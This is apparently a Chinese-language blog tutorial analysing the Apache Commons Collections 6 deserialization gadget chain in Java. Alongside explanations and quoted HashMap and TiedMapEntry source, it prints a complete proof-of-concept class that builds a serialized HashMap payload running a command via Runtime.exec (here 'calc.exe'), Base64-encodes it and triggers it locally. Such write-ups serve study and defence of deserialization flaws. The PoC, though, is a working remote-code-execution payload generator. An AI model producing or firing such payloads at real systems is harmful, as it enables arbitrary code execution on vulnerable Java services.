Java的Common Collections6链分析

java CommonCollections6反序列化链分析

0x01 前言

我前面写了一篇关于cc1链的分析，最后有提到那条链只能在Java版本为8u71前使用，所以就跟着p🐂学了下cc6链的利用，其实就后面变了一下，前面还是没有变。

0x02 分析

我们先来康康p牛给的利用链

/*
 Gadget chain:
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()
*/

注意，这是从下到上看

我们可以看到前面的其实都没变，主要是在lazymap.get方法后变了，为什么要改呢，回顾cc1链，我们的链子利用起点在于AnnotationInvocationHandler的readobject类发生了改变，所以我们得寻找其他的类能触发lazymap类的get方法，这里p🐂用到的是TiedMapEntry类，我们可以看一下

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    

    public Object getValue() {
        return this.map.get(this.key);
    }

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

可以看到，在这个类的getvalue方法中调用了get方法，并且hashcode方法调用了这个getvalue方法，那么我们只需要找到调用getvalue方法的类就可以了

p牛这里用到了hashmap这个类的hash方法

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

并且在这个类的readobject方法里面调用了hash方法，那么我们只需要让key为TiedMapEntry对象就可以了

直接给出poc

package org.vulhub.RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
    public static void main(String[] args) throws Exception {
        //定义一个假的transformers，避免在未反序列化的时候就执行命令
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        //定义真的transformers
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
                new ConstantTransformer(1),
        };
        //执行假的transformers
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        //对innerMap进行装饰
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        //将outerMap作为TiedMapEntry类的map对象
        TiedMapEntry tme = new TiedMapEntry(outerMap, "key");
        //新设一个hashmap对象
        Map expMap = new HashMap();
        //设置键值对
        expMap.put(tme, "value value");
        //去除outerMap的key，确保能执行命令
        outerMap.remove("key");
        //将真的transformers放入ChainedTransformer类中，这样在反序列化的时候能够顺利执行命令
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // ==================
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        // 本地测试触发
        String result= Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(result);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

里面夹杂了我对此的一些理解，应该还是比较好看懂的

大致思路说一下，首先为了防止在未反序列化的时候就执行命令，所以得先弄一个假的transformers，真的transformers在序列化前时直接传给了ChainedTransformer，真的transformers就是执行命令的。然后再装饰hashmap对象，这样当执行到get方法的时候就会执行我们的命令了。将装饰后的hashmap类作为TiedMapEntry类的map对象，因为我们反序列化的入口是在hashmap的readobject方法处，所以我们还得新建一个hashmap类对象，将刚封装好的TiedMapEntry对象作为key，然后将刚装饰好的map对象的key去掉就可以了，那么这样当反序列化的时候就能够顺利的执行我们构造的命令。

0X03 总结

cc6链只是在cc1链的基础上解决了在高版本无法运行的问题，只要有cc1链的基础，那么cc6链思路还是比较清晰的